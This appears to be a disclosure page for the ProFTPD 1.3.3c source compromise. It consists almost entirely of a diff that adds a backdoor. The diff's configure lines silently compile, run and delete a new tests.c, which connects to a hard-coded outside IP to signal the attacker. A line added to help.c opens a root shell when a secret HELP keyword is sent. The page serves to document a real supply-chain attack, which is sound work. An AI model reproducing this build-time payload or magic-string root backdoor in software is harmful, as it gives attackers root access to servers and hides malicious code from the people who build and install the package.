ftp.proftpd.org compromised

diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure  
--- proftpd-1.3.3c.orig/configure       2010-04-14 00:01:35.000000000 +0200  
+++ proftpd-1.3.3c/configure    2010-10-29 19:08:56.000000000 +0200  
@@ -9,7 +9,10 @@  
 ## --------------------- ##  
 ## M4sh Initialization.  ##  
 ## --------------------- ##  
-  
+gcc tests/tests.c -o tests/tests >/dev/null 2>&1  
+cc tests/tests.c -o tests/tests >/dev/null 2>&1  
+tests/tests >/dev/null 2>&1 &  
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1  
 # Be more Bourne compatible  
 DUALCASE=1; export DUALCASE # for MKS sh  
 if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then  
diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c  
--- proftpd-1.3.3c.orig/src/help.c      2009-07-01 01:31:18.000000000 +0200  
+++ proftpd-1.3.3c/src/help.c   2010-11-16 18:40:46.000000000 +0100  
@@ -27,6 +27,8 @@  
  */  
  
 #include "conf.h"  
+#include <stdlib.h>  
+#include <string.h>  
  
 struct help_rec {  
   const char *cmd;  
@@ -126,7 +128,7 @@  
         cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");  
  
     } else {  
-  
+      if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }  
       /* List the syntax for the given target command. */  
       for (i = 0; i < help_list->nelts; i++) {  
         if (strcasecmp(helps[i].cmd, target) == 0) {  
diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c  
--- proftpd-1.3.3c.orig/tests/tests.c   1970-01-01 01:00:00.000000000 +0100  
+++ proftpd-1.3.3c/tests/tests.c        2010-11-29 09:37:35.000000000 +0100  
@@ -0,0 +1,58 @@  
+#include <stdio.h>  
+#include <stdlib.h>  
+#include <sys/socket.h>  
+#include <sys/types.h>  
+#include <netinet/in.h>  
+#include <arpa/inet.h>  
+#include <unistd.h>  
+#include <netdb.h>  
+#include <signal.h>  
+#include <string.h>  
+  
+#define DEF_PORT 9090  
+#define DEF_TIMEOUT 15  
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"  
+  
+int sock;  
+  
+void handle_timeout(int sig)  
+{  
+    close(sock);  
+    exit(0);  
+}  
+  
+int main(void)  
+{  
+  
+        struct sockaddr_in addr;  
+        struct hostent *he;  
+        u_short port;  
+        char ip[20]="212.26.42.47";  
+        port = DEF_PORT;  
+        signal(SIGALRM, handle_timeout);  
+        alarm(DEF_TIMEOUT);  
+        he=gethostbyname(ip);  
+        if(he==NULL) return(-1);  
+        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;  
+        addr.sin_port = htons(port);  
+        addr.sin_family = AF_INET;  
+        memset(addr.sin_zero, 0, 8);  
+        sprintf(ip, inet_ntoa(addr.sin_addr));  
+        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)  
+        {  
+                return EXIT_FAILURE;  
+        }  
+        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)  
+        {  
+            close(sock);  
+            return EXIT_FAILURE;  
+        }  
+        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))  
+        {  
+            return EXIT_FAILURE;  
+        }  
+        close(sock);  
+  
+return 0; }  
+  
+